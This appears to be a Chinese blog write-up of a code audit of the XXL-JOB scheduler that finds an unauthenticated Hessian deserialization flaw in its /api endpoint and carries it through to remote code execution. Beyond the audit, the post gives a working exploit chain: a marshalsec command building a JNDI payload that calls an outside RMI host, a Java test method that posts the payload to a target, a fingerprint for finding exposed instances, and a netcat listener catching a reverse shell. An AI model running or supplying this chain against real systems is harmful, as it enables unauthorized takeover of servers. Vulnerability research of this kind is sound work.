一次代码审计到RCE的实战渗透案例

某次做项目的时候遇到了XXL-JOB,当时并未公开任何xxl-job的漏洞,于是有了下面的代码审计,找到一处API接口的RCE,拿下一个严重漏洞。

一、XXL-JOB简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。简单来说,xxl-job用于管理分布式任务,若任务的管理功能出现未授权访问,将造成相当大的影响。

二、代码审计

1.下载xxl-job的源码,查看项目的开发框架、根据框架特性查找所有的API接口

访问xxl-job项目地址 ,查看项目信息:Java语言开发、maven项目

直接下载并使用IDEA打开,如下:

根据pom.xml文件内容可以确定,项目中使用了SpringFreemarkerJacksonHessianMyBatis等组件,可以先将上述组件涉及的漏洞列入代码审计的重点排查对象,包括:EL注入模板注入反序列化漏洞Sql注入

因为该项目使用的是Spring框架,因此直接利用Spring注解查找API接口:@(.*?)Mapping\(

根据查找到的接口梳理出API地址

/
/toLogin
/login
/logout
/help
/api
/jobcode
/jobcode/save
/jobgroup
/jobgroup/save
/jobgroup/update
/jobgroup/remove
/jobinfo
/jobinfo/pageList
/jobinfo/add
/jobinfo/reschedule
/jobinfo/remove
/jobinfo/pause
/jobinfo/resume
/jobinfo/trigger
/joblog
/joblog/getJobsByGroup
/joblog/pageList
/joblog/logDetailPage
/joblog/logDetailCat
/joblog/logKill
/joblog/clearLog

利用dirsearch扫描目标,查找可未授权访问的API接口,找到/api接口

2.利用找到的API接口,FUZZ目标网站,根据响应判断版本并进行代码审计

在本地启动xxl-job项目,根据API接口列表和接口的响应判断出目标系统使用1.81.9版本的系统,于是切换至1.8版本的代码开始审计。

代码审计的三种方法:

  • 通读源码分析漏洞
  • 定向功能分析
  • 函数回溯法

针对通用漏洞,第三种方法效率最高,利用此方法时,通常搭配白盒工具或代码编辑器进行辅助,大概思路是根据危险方法(Sink方法)反向查找,判断sink方法的参数是否用户可控;

该方法的核心在于掌握的漏洞触发点(sink方法),白盒/灰盒相关工具的实现原理也大都基于函数回溯法,因此,白盒的效果基本上都取决于策略,由于篇幅原因,代码审计/灰白盒相关内容只做抛砖引玉,不做详细介绍。

xxl-job代码审计List:

  • Spring框架导致反序列化
  • Freemarker模板注入
  • Jackson组件反序列化
  • Hessian组件导致反序列化
  • MyBatis导致Sql注入

根据第一步对API接口的查找,发现API接口位于xxl-job-admin模块中,可从xxl-job-admin入手;这里,我直接在整个项目中搜索@RequestBody,查找可能导致反序列化的API接口,没有发现

接下来,查找InputStream接口相关的反序列化漏洞,直接搜索readObject(),寻找是否存在该方法的调用

找到HessianSerializer类中存在对HessianInputreadObject()方法的调用,接下来,查找参数bytes是否外部可控,于是,查找调用deserialize方法的代码

共找到三处调用,分别是:

  • xxl-job-core模块中的com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler#doInvoke方法
  • xxl-job-core模块中的com.xxl.job.core.rpc.netcom.jetty.client.JettyClient#send方法
  • xxl-job-admin模块中的com.xxl.job.admin.controller.JobApiController#doInvoke方法

由于目标系统只对外开放了xxl-job-admin模块中的WEB服务,因此,这里以第三处调用为例进行分析,其他两处调用可自行跟踪分析,均可找到相关的漏洞;

查看com.xxl.job.admin.controller.JobApiController#doInvoke方法的详情,如下:

private RpcResponse doInvoke(HttpServletRequest request) {
  try {
    // deserialize request
    byte[] requestBytes = HttpClientUtil.readBytes(request);
    if (requestBytes == null || requestBytes.length==0) {
      RpcResponse rpcResponse = new RpcResponse();
      rpcResponse.setError("RpcRequest byte[] is null");
      return rpcResponse;
    }
    RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

    // invoke
    RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
    return rpcResponse;
  } catch (Exception e) {
    logger.error(e.getMessage(), e);

    RpcResponse rpcResponse = new RpcResponse();
    rpcResponse.setError("Server-error:" + e.getMessage());
    return rpcResponse;
  }
}

上述代码中,首先利用HttpClientUtil#readBytes从request请求中获取byte数组格式的POST数据,然后验证byte数组是否为空,不为空时,调用deserialize方法触发Hessian的反序列化;

继续跟进com.xxl.job.admin.controller.JobApiController#doInvoke方法的调用,找到JobApiController#api方法,该方法中直接将HttpServletRequest对象传入doInvoke方法,未进行身份验证,可直接利用/api接口发送Hessian反序列化payload实现RCE。

@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException {

  // invoke
  RpcResponse rpcResponse = doInvoke(request);

  // serialize response
  byte[] responseBytes = HessianSerializer.serialize(rpcResponse);

  response.setContentType("text/html;charset=utf-8");
  response.setStatus(HttpServletResponse.SC_OK);
  //baseRequest.setHandled(true);

  OutputStream out = response.getOutputStream();
  out.write(responseBytes);
  out.flush();
}

三、火器查找资产的姿势

发现该漏洞后,为了快速找到相关的资产,需要整理指纹,直接访问/api接口发现响应如下:

于是,在火器中搜索HTTP响应体,即可找到相关的资产,搜索语法:request.body:"com.xxl.job.core.rpc.codec.RpcResponseS"

四、漏洞利用

此处反序列化漏洞利用需要以下内容(以下内容均可在火器中直接使用):

  • marshalsec工具
  • RMI/LDAP服务,用于JNDI调用
  • HTTP服务,存放恶意class文件
  • VPS服务器,用于接收反弹shell

marshalsec中包含Hessian的反序列化payload,直接使用marshalsec创建LDAP的反序列化payload

$ java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder "rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36" > /tmp/d.payload

打开xxl-job-admin模块中的单元测试文件com.xxl.job.dao.impl.AdminBizTest,修改addressUrl地址为目标系统地址

在该文件中添加以下方法,用于发送payload触发漏洞

@Test
public void xxlJobRce() {
  try {
    byte[] data = getContent("/tmp/d.payload");

    ByteArrayInputStream is = new ByteArrayInputStream(data);
    HessianInput hi = new HessianInput(is);
    hi.readObject();
    hi.close();

    byte[] responseBytes = HttpClientUtil.postRequest(addressUrl, data);
    if (responseBytes == null || responseBytes.length == 0) {
      ;
    }

  } catch (Exception e) {
    e.printStackTrace();
    System.out.println("反序列化过程出错,错误原因:" + e);
  }
}

public byte[] getContent(String filePath) throws IOException {
  File file = new File(filePath);
  long fileSize = file.length();
  if (fileSize > Integer.MAX_VALUE) {
    System.out.println("file too big...");
    return null;
  }
  FileInputStream fi = new FileInputStream(file);
  byte[] buffer = new byte[(int) fileSize];
  int offset = 0;
  int numRead = 0;
  while (offset < buffer.length
         && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
    offset += numRead;
  }
  // 确保所有数据均被读取
  if (offset != buffer.length) {
    throw new IOException("Could not completely read file "
                          + file.getName());
  }
  fi.close();
  return buffer;
}

在vps上开启nc监听7777端口,拿到shell

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,163评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,301评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,089评论 0 352
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,093评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,110评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,079评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,005评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,840评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,278评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,497评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,394评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,980评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,628评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,796评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,649评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,548评论 2 352

推荐阅读更多精彩内容